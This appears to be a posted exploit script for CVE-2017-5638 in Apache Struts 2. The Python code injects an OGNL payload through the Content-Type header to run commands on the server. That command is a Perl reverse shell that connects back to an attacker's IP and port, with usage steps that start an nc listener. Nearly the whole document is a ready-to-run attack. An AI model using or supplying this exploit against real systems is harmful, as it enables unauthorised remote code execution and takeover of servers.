Apache Struts 2 2.3.x / 2.5.x Remote Code Execution
Posted on 12 March 2017
# CVE-2017-5638 # Apache Struts 2 Vulnerability Remote Code Execution # Reverse shell from target # Author: anarc0der - github.com/anarcoder # Tested with tomcat8 # Install tomcat8 # Deploy WAR file https://github.com/nixawk/labs/tree/master/CVE-2017-5638 # Ex: # Open: $ nc -lnvp 4444 # python2 struntsrce.py --target=http://localhost:8080/struts2_2.3.15.1-showcase/showcase.action --ip=127.0.0.1 --port=4444 """ Usage: struntsrce.py --target=<arg> --ip=<arg> --port=<arg> struntsrce.py --help struntsrce.py --version Options: -h --help Open help menu -v --version Show version Required options: --target='url target' your target :) --ip='10.10.10.1' your ip --port=4444 open port for back connection """ import urllib2 import httplib import os import sys from docopt import docopt, DocoptExit class CVE_2017_5638(): def __init__(self, p_target, p_ip, p_port): self.target = p_target self.ip = p_ip self.port = p_port self.revshell = self.generate_revshell() self.payload = self.generate_payload() self.exploit() def generate_revshell(self): revshell = "perl -e \'use Socket;$i="{0}";$p={1};" "socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));" "if(connect(S,sockaddr_in($p,inet_aton($i)))){{open" "(STDIN,">&S");open(STDOUT,">&S");" "open(STDERR,">&S");exec("/bin/sh -i");}};\'" return revshell.format(self.ip, self.port) def generate_payload(self): payload = "%{{(#_='multipart/form-data')." "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." "(#_memberAccess?" "(#_memberAccess=#dm):" "((#container=#context['com.opensymphony.xwork2." "ActionContext.container'])." "(#ognlUtil=#container.getInstance(@com.opensymphony." "xwork2.ognl.OgnlUtil@class))." "(#ognlUtil.getExcludedPackageNames().clear())." "(#ognlUtil.getExcludedClasses().clear())." "(#context.setMemberAccess(#dm))))." "(#cmd='{0}')." "(#iswin=(@java.lang.System@getProperty('os.name')." "toLowerCase().contains('win')))." "(#cmds=(#iswin?{{'cmd.exe','/c',#cmd}}:" "{{'/bin/bash','-c',#cmd}}))." "(#p=new java.lang.ProcessBuilder(#cmds))." "(#p.redirectErrorStream(true)).(#process=#p.start())." "(#ros=(@org.apache.struts2.ServletActionContext@get" "Response().getOutputStream()))." "(@org.apache.commons.io.IOUtils@copy" "(#process.getInputStream(),#ros)).(#ros.flush())}}" return payload.format(self.revshell) def exploit(self): try: # Set proxy for debug request, just uncomment these lines # Change the proxy port #proxy = urllib2.ProxyHandler({'http': '127.0.0.1:8081'}) #opener = urllib2.build_opener(proxy) #urllib2.install_opener(opener) headers = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64)' ' AppleWebKit/537.36 (KHTML, like Gecko)' ' Chrome/55.0.2883.87 Safari/537.36', 'Content-Type': self.payload} xpl = urllib2.Request(self.target, headers=headers) body = urllib2.urlopen(xpl).read() except httplib.IncompleteRead as b: body = b.partial print body def main(): try: arguments = docopt(__doc__, version="Apache Strunts RCE Exploit") target = arguments['--target'] ip = arguments['--ip'] port = arguments['--port'] except DocoptExit as e: os.system('python struntsrce.py --help') sys.exit(1) CVE_2017_5638(target, ip, port) if __name__ == '__main__': main()